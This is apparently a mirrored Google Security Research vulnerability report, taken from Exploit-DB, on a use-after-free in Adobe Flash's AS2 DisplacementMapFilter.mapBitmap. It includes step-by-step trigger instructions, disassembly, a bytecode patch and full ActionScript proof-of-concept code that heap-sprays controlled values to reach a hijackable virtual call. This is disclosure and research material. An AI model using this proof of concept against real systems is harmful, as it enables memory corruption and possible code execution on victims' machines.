Adobe Flash AS2 – DisplacementMapFilter.mapBitmap Use-After-Free (1)

  • 作者: Google Security Research
    日期: 2015-08-19
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/37853/
  • Source: https://code.google.com/p/google-security-research/issues/detail?id=358&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
    
    [Deadline tracking for https://code.google.com/p/chromium/issues/detail?id=457680]
    
    ---
    VULNERABILITY DETAILS
    There is a use after free in Flash caused by an improper handling of BitmapData objects in the DisplacementMapFilter.mapBitmap property. 
    
    VERSION
    Chrome Version: 40.0.2214.111 stable, Flash 16.0.0.305
    Operating System: Win7 SP1 x64]
    
    The AS2 mapBitmap_as2.fla can be compiled with Flash CS5. Some bytes must be changed manually to trigger the issue (see below).
    Just put mapBitmap_as2.swf in a browsable directory and run the swf with Chrome. It should crash while dereferencing 0x41424344.
    
    
    Here are a few steps to trigger the issue:
    
    1) Create a BitmapData and store it somewhere, for example as a static member of a custom class.
    2) Create a second BitmapData and use it to create a DisplacementMapFilter. We don't care about this BitmapData, it is just needed to create the filter.
    3) Override the BitmapData constructor with a custom class. That class should put the first BitmapData on top of the AS2 stack when the constructor returns.
    4) Create an object o and change its valueOf method so that it points to a function that calls the DisplacementMapFilter.mapBitmap property.
    5) Use the first BitmapData and call getPixel32(o).
    
    What happens during step 5? Flash caches first the BitmapData in the stack before calling o.valueOf. At that moment the BitmapData isn't used elsewhere so its refcount equals 1. Flash enters then o.valueOf which leads to get the mapBitmap property. At that moment we hit the following lines, in sub_10193F2D:
    
    CPU Disasm
    Address Hex dumpCommand
    6D2D3FBB68 BE27C66D PUSH OFFSET 6DC627BE
    6D2D3FC0FF73 04 PUSH DWORD PTR DS:[EBX+4]
    6D2D3FC356PUSH ESI
    6D2D3FC48B33MOV ESI,DWORD PTR DS:[EBX]
    6D2D3FC6E8 A572F8FF CALL 6D25B270 ; that function creates a new atom and calls the BitmapData constructor
    6D2D3FCB84C0TEST AL,AL
    6D2D3FCD74 09 JE SHORT 6D2D3FD8
    6D2D3FCF8B0BMOV ECX,DWORD PTR DS:[EBX]
    6D2D3FD16A 01 PUSH 1
    6D2D3FD3E8 281A0100 CALL 6D2E5A00 ; if the constructor is overriden by a custom class, the custom constructor is called here
    6D2D3FD88B75 08 MOV ESI,DWORD PTR SS:[EBP+8]
    6D2D3FDB8B13MOV EDX,DWORD PTR DS:[EBX]
    6D2D3FDD56PUSH ESI
    6D2D3FDEE8 418EF6FF CALL 6D23CE24 ; then pop the new atom from the AS2 stack
    ...
    6D2D400023F8AND EDI,EAX
    6D2D4002807F 35 1BCMP BYTE PTR DS:[EDI+35],1B ; and ensure this is indeed a BitmapData
    6D2D400674 0A JE SHORT 6D2D4012
    ...
    
    In the next lines Flash does two things. It destroys the BitmapData object associated to the BitmapData atom and replaces it with the one defined in the DisplacementMapFilter:
    
    6D2D40128B47 28 MOV EAX,DWORD PTR DS:[EDI+28]
    6D2D401583E0 FE AND EAX,FFFFFFFE
    6D2D40188B40 18 MOV EAX,DWORD PTR DS:[EAX+18]; get the BitmapData object 
    6D2D401B33C9XOR ECX,ECX
    6D2D401D51PUSH ECX
    6D2D401EE8 1DB2FEFF CALL 6D2BF240; call the BitmapData destructor
    6D2D40238B75 10 MOV ESI,DWORD PTR SS:[EBP+10]
    6D2D40268BC7MOV EAX,EDI
    6D2D4028E8 134AF6FF CALL 6D238A40; and associate the DisplacementMapFilter.mapBitmap object
    
    
    All of this works as long as the BitmapData object read from the AS2 stack is not in use somewhere. But since we can provide our own constructor, we can do anything with the AS2 stack, including having an in use BitmapData at the top of the stack when the constructor returns. This can be done by manipulating the AS2 byte code of the constructor for example. So if the returned BitmapData has a refcounter set to 1, Flash frees the object and we end up with a garbage reference in the stack which crashes the player in BitmapData.getPixel32.
    
    After compiling mapBitmap_as2.swf, I had to change the bytes at offset 0x90F in the (MyBitmapData constructor):
    52 17 96 02 00 04 03 26 to 17 17 17 17 17 17 17 17 (actionPOP)
    
    Hopefully if it works we should crash here with eax controlled:
    CPU Disasm
    Address Hex dumpCommand
    6D2BFA833B58 0C CMP EBX,DWORD PTR DS:[EAX+0C]//eax = 0x41424344
    6D2BFA867D 57 JGE SHORT 6D2BFADF
    6D2BFA8885FFTEST EDI,EDI
    6D2BFA8A78 53 JS SHORT 6D2BFADF
    6D2BFA8C3B78 08 CMP EDI,DWORD PTR DS:[EAX+8]
    6D2BFA8F7D 4E JGE SHORT 6D2BFADF
    6D2BFA918BC8MOV ECX,EAX
    6D2BFA938B01MOV EAX,DWORD PTR DS:[ECX]
    6D2BFA958B50 10 MOV EDX,DWORD PTR DS:[EAX+10]
    6D2BFA98FFD2CALL EDX
    
    I don't kwow if we can abuse ASLR with that. If we can do something without getting a virtual function dereferenced, it must be possible.
    
    
    ***************************************************************************
    Content of MyBitmapData.as
    
    class MyBitmapData extends String
    {
    	static var mf;
    	function MyBitmapData()
    	{
    		super();
    var a = MyBitmapData.mf
    test(a,a,a,a,a,a,a,a) //that part should be deleted manually in the bytecode
    trace(a)//so that MyBitmapData.mf stays on top of the AS2 stack
    	}
    	public function test(a,b,c,d,e,f,g,h) {
    
    }
    	static function setBitmapData(myfilter)
    	{
    		mf = myfilter;
    	}
    }
    
    ***************************************************************************
    Content of mapBitmap_as2.fla
    
    import flash.filters.DisplacementMapFilter;
    import flash.display.BitmapData;
    
    var bd:BitmapData = new BitmapData(10,10)
    MyBitmapData.setBitmapData(bd)
    var bd2:BitmapData = new BitmapData(10,10)
    var dmf:DisplacementMapFilter = new DisplacementMapFilter(bd2,new flash.geom.Point(1,2),1,2,3,4)
    
    newConstr = MyBitmapData
    flash.display.BitmapData = newConstr
    
    function f() {
    	var a = dmf.mapBitmap;
    }
    var a:Array = new Array()
    var b:Array = new Array()
    for (var i = 0; i<0xC8/4;i++) {
    	b[i] = 0x41424344
    }
    
    var o = new Object()
    o.valueOf = function () {
    	f()
    	for (var i = 0; i<0x10;i++) {
    		var tf:TextFormat = new TextFormat()
    		tf.tabStops = b
    		a[i] = tf
    	}
    	return 4
    }
    
    bd.getPixel32(o,4)
    ---
    
    Proof of Concept:
    https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37853.zip